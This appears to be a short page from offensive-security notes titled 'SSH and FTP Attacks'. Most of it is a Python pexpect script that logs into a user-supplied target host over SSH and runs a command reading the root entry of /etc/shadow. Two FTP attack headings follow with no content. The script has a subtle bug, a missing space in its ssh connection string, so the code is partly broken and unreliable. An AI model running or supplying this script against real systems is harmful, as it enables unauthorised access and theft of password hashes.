SSH and FTP Attacks

SSH Logger

#!/usr/bin/python

import pexpect

PROMPT = ['# ','>>> ','> ','\$ ']

def send_command(child,command):
	child.sendline(command)
	child.expect(PROMPT)
	print (child.before)

def connect(user,host,password):
	ssh_newkey = 'Are you sure you want to continue connecting'
	connectionString = 'ssh -oHostKeyAlgorithms=+ssh-dss' + user + '@' + host
	child = pexpect.spawn(connectionString)
	ret = child.expect([pexpect.TIMEOUT, ssh_newkey, '[P|p]assword: '])
	if ret == 0:
		print ('[-] Error Connecting')
		return
	if ret == 1:
		child.sendline('yes')
		ret = child.expect([pexpect.TIMEOUT,'[P|p]assword: '])
		if ret == 0:
			print ('[-] Error connecting')
			return
	child.sendline(password)
	child.expect(PROMPT)
	return child

def main():
	host = input("Enter the host to target: ")
	user = input("Enter SSH username: ")
	password = input("Enter SSH password: ")

	child = connect(user,host,password)
	send_command(child,'cat /etc/shadow | grep root;ps')

main()

Anonymous FTP Login

Dictionary attack on FTP

Last updated